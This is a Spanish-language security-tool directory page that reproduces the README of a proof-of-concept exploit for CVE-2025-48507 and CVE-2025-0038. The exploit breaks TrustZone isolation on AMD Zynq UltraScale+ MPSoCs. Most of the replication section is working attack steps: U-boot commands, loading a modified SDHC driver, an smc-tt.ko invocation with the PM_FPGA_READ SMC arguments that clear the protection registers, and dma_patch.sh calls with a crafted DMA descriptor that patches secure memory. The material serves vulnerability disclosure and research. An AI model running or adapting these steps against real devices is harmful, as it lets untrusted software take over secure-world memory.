Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
PoC_CVE-2025-48507 — Prueba de concepto de CVE-2025-48507. La falla de seguridad puede ser aprovechada por software no seguro (por ejemplo, Linux) para romper la Trust Zone y obtener acceso al mundo seguro. | Kitploit
Herramientas/GitHubGitHub/jdbonfils/poc_cve-2025-48507
Seguridad de Sistemas EmbebidosEscalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónPruebas de PenetraciónSeguridad de HardwareRed TeamingExplotación de Binarios
GitHubjdbonfils/poc_cve-2025-48507

PoC_CVE-2025-48507

Prueba de concepto de CVE-2025-48507. La falla de seguridad puede ser aprovechada por software no seguro (por ejemplo, Linux) para romper la Trust Zone y obtener acceso al mundo seguro.

22hace 10 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio

Rompiendo TrustZone en Zynq UltraScale+ MPSoCs - Prueba de Concepto para CVE-2025-48507 y CVE-2025-0038

El Software No Seguro podría explotar CVE-2025-48507 y CVE-2025-0038 para obtener acceso de lectura/escritura al Mundo Seguro en plataformas Zynq UltraScale+, rompiendo así el aislamiento de TrustZone. En esa medida, el Software No Seguro explota CVE-2025-0038 y CVE-2025-48507 para borrar los registros IOU_AXI_WPRTCN e IOU_AXI_RPRTCN (0xFF240000) y cambiar el Controlador de Host SD como un Maestro Seguro. Luego, el software No Seguro (por ejemplo, Linux) aprovecha el Controlador de Host SD (la interfaz esclava sigue siendo No Segura) para escribir o leer desde cualquier memoria Segura.

Más información:

  • Boletines de seguridad de AMD:
    • AMD-SB-8008 (CVE-2025-0038) https://docs.amd.com/r/en-US/000037628/CVE-Details
    • AMD-SB-8017 (CVE-2025-48507): https://docs.amd.com/r/en-US/000039030/CVE-Details
  • Presentación PowerPoint de la PoC: /doc/PoC_Exploit_presentation.pdf
  • Video de la PoC: https://www.dropbox.com/scl/fi/2ug3w9ukf366g4mi5g7y7/CVE-PoC.mp4?rlkey=9zgdayte0vv4114assf0grfgg&st=9qupyn9d&dl=0
  • Artículo de investigación original (Sección 5.5): /doc/preprint.pdf

Plataformas afectadas:

  • Kria™ SOM
  • Zynq UltraScale+ MPSoCs
  • Zynq UltraScale+ RFSoCs

Componentes afectados:

  • Arm Trusted Firmware para procesadores Cortex-A (TF-A) y Firmware PMU hasta la versión 2025.1.

Organización de este Repositorio:

  • source/ : Código fuente para reproducir esta PoC en Zynq UltraScale+ MPSoCs (ZC104)

    • Para aprovechar CVE-2025-48507 y CVE-2025-0038

      • smc-tt.c: Módulo básico del kernel que permite que Linux No Seguro emita llamadas SMC arbitrarias.

      • Makefile: Un Makefile para compilación cruzada de módulos del kernel (Las rutas deben adaptarse).

    • Para explotar CVE-2025-0038 y CVE-2025-48507

      • sdhc.c: Controlador SDHC modificado que permite realizar ataques DMA utilizando el Controlador de Host SD (SDHC)
      • dma_patch.sh: Un script conveniente que depende del controlador SDHC modificado para parchear regiones de memoria arbitrarias a través de las capacidades DMA del SDHC
  • doc/ : Presentaciones y artículo de investigación que detallan las vulnerabilidades de seguridad a nivel de TF-A y PMU.

  • hw_debug/: Scripts de depurador de hardware para depurar TF-A en la APU y el procesador PMU. Proporcionan un entorno para depurar las funciones afectadas en el firmware PMU y TF-A y confirmar el éxito del ataque. Estos scripts se usan con Trace32 y un depurador de hardware Lauterbach PowerDebug PRO JTAG. El depurador de hardware se ha conectado al puerto JTAG (J180) del ZCU104.

Replicación del Ataque

Construcción del Entorno:
  1. Construir un entorno afectado (es decir, Linux, TF-A, Firmware PMU...).

    • p. ej., imágenes preconstruidas de Petalinux, Yocto, herramientas de Petalinux...
  2. Al construir Linux, configure el controlador SDHC como módulo del kernel cargable a través de kconfig. Esto solo es necesario para la explotación.

    • MMC_SDHCI=M
  3. Compile los módulos del kernel smc-tt.c y sdhci.c . Se puede usar el Makefile proporcionado adaptando las rutas del kernel y del compilador.

  4. Para aprovechar los CVE, agregue smc-tt.ko al rootfs de Linux

  5. Para la explotación de los CVE, agregue sdhci.ko y dma_patch.sh al rootfs de Linux

PoC y Explotación de los CVE:

En la PoC, el sistema (es decir, fslb, uboot...) fue arrancado desde una tarjeta SD. El rootfs de Linux se flasheó en un USB. Para el ataque DMA, Linux usó una partición vacía de la tarjeta SD accedida por el Controlador de Host SD manejado por el controlador SDHC modificado (sdhci.ko).

Para solo probar los CVE, se pueden omitir los pasos 2, 3 y 5.

  1. Comandos de U-boot para arrancar Linux en mundo No Seguro con su rootfs en una partición USB:

    root@kitploit:~
    setenv bootargs root="/dev/sda" rw rootwait; fatload mmc 0 0x200000 Image && fatload mmc 0 0x1e0000 system.dtb && booti 0x200000 - 0x1e0000
    
  2. Inserte el controlador SDHC modificado para realizar acceso DMA arbitrario:

    root@kitploit:~
    insmod /sdhci.ko
    insmod /lib/modules/6.6.70/kernel/drivers/mmc/host/sdhci-pltfm.ko
    insmod /lib/modules/6.6.70/kernel/drivers/mmc/host/sdhci-of-arasan.ko 
    
  3. Intente parchear la memoria Segura aprovechando el controlador SDHC modificado. Esto debería fallar ya que el SDHC sigue siendo No Seguro:

    root@kitploit:~
    ./dma_patch.sh SECURE_MEMORY_PATCHED_BY_NON_SEC '\x00\x00\xdc\xff\x20\x00\x23\x00' /dev/mmcblk0p3
    
    • ARG1: PAYLOAD

    • ARG2: Descriptor malicioso para realizar acceso DMA no autorizado.

      • P. ej., '\x00\x00\xdc\xff\x20\x00\x23\x00' para parchear 0x20 bytes en la dirección 0xFFDC0000. \x23\x00 debe dejarse como está
    • ARG3: Una partición de dispositivo gestionada por el Controlador de Host SD controlado por el controlador SDHC modificado.

      • P. ej., /dev/mmcblk0p3
  4. Explote los CVE para borrar IOU_AXI_WPRTCN e IOU_AXI_RPRTCN (0xFF240000):

    root@kitploit:~
    insmod /smc-tt.ko r0=0xc200002E r1=0xff24000000000100 r2=0x100000000
    
    • 0xc200002E: Llamada SMC afectada (PM_FPGA_READ).

    • 0xff24000000000100: Dirección a borrar (0xFF240000) (es decir, IOU_AXI_RPRTCN/IOU_AXI_WPRTCN) y la cantidad de bytes a borrar (0x00000100)

Ahora Linux puede aprovechar la DMA del SDHC para acceder completamente a la Memoria Segura

Descargar herramienta
  • 0x100000000: Leer los datos de PL de vuelta a la memoria principal (0x1). Como no se cargó nada, esto simplemente borrará la región de memoria objetivo.

  • Más información sobre los parámetros de PM_FPGA_READ: https://github.com/ARM-software/arm-trusted-firmware/blob/c8eb6b042b57a145945a80fe4949c6f678309925/plat/xilinx/zynqmp/pm_service/zynqmp_pm_api_sys.c#L1693

  • Intente parchear la memoria Segura nuevamente (0xFFDC0000). Esto debería tener éxito ya que el SDHC ahora es Seguro:

    root@kitploit:~
    ./dma_patch.sh SECURE_MEMORY_PATCHED_BY_NON_SEC '\x00\x00\xdc\xff\x20\x00\x23\x00' /dev/mmcblk0p3